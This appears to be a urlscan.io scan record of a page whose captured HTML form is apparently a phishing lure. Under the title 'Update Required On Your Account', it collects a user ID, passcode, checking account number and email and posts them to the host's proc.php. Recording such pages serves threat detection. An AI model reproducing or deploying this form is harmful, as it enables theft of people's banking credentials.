bjeramie21444487.activehosted.com Open in urlscan Pro
2606:4700::6811:596d  Public Scan

Form analysis
1 forms found in the DOM

POST https://bjeramie21444487.activehosted.com/proc.php

<form method="POST" action="https://bjeramie21444487.activehosted.com/proc.php" id="_form_3_" class="_form _form_3 _inline-form  _dark" novalidate="">
  <input type="hidden" name="u" value="3" data-name="u">
  <input type="hidden" name="f" value="3" data-name="f">
  <input type="hidden" name="s" data-name="s">
  <input type="hidden" name="c" value="0" data-name="c">
  <input type="hidden" name="m" value="0" data-name="m">
  <input type="hidden" name="act" value="sub" data-name="act">
  <input type="hidden" name="v" value="2" data-name="v">
  <input type="hidden" name="or" value="f47d2b304ec705f4057d74812af25fd0" data-name="or">
  <div class="_form-content">
    <div class="_form_element _x18562661 _full_width _clear">
      <img class="_form-image" src="//content.app-us1.com/B2Wqx/2023/04/20/31d1d36c-81cb-4488-a18c-00c03510ab4c.png" style="height:74px;width:107px">
    </div>
    <div class="_form_element _x80307730 _full_width _clear">
      <div class="_form-title"> Update Required On Your Account </div>
    </div>
    <div class="_form_element _x45634619 _full_width _clear">
      <div class="_html-code">
      </div>
    </div>
    <div class="_form_element _x86803373 _full_width ">
      <label for="fullname" class="_form-label">
      </label>
      <div class="_field-wrapper">
        <input type="text" id="fullname" name="fullname" placeholder="User ID" required="" data-name="fullname">
      </div>
    </div>
    <div class="_form_element _x00602259 _full_width ">
      <label for="field[1]" class="_form-label">
      </label>
      <div class="_field-wrapper">
        <input type="text" id="field[1]" name="field[1]" value="" placeholder="Passcode" required="" data-name="passkey">
      </div>
    </div>
    <div class="_form_element _x64300462 _full_width ">
      <label for="field[2]" class="_form-label">
      </label>
      <div class="_field-wrapper">
        <input type="text" id="field[2]" name="field[2]" value="" placeholder="Checking account number" required="" data-name="checking_account_number">
      </div>
    </div>
    <div class="_form_element _x84777221 _full_width ">
      <label for="email" class="_form-label">
      </label>
      <div class="_field-wrapper">
        <input type="text" id="email" name="email" placeholder="E - mail" required="" data-name="email">
      </div>
    </div>
    <div class="_button-wrapper _full_width">
      <button id="_form_3_submit" class="_submit" type="submit"> VERIFY </button>
    </div>
    <div class="_clear-element">
    </div>
  </div>
  <div class="_form-thank-you" style="display:none;">
  </div>
</form>

Text Content

Update Required On Your Account





VERIFY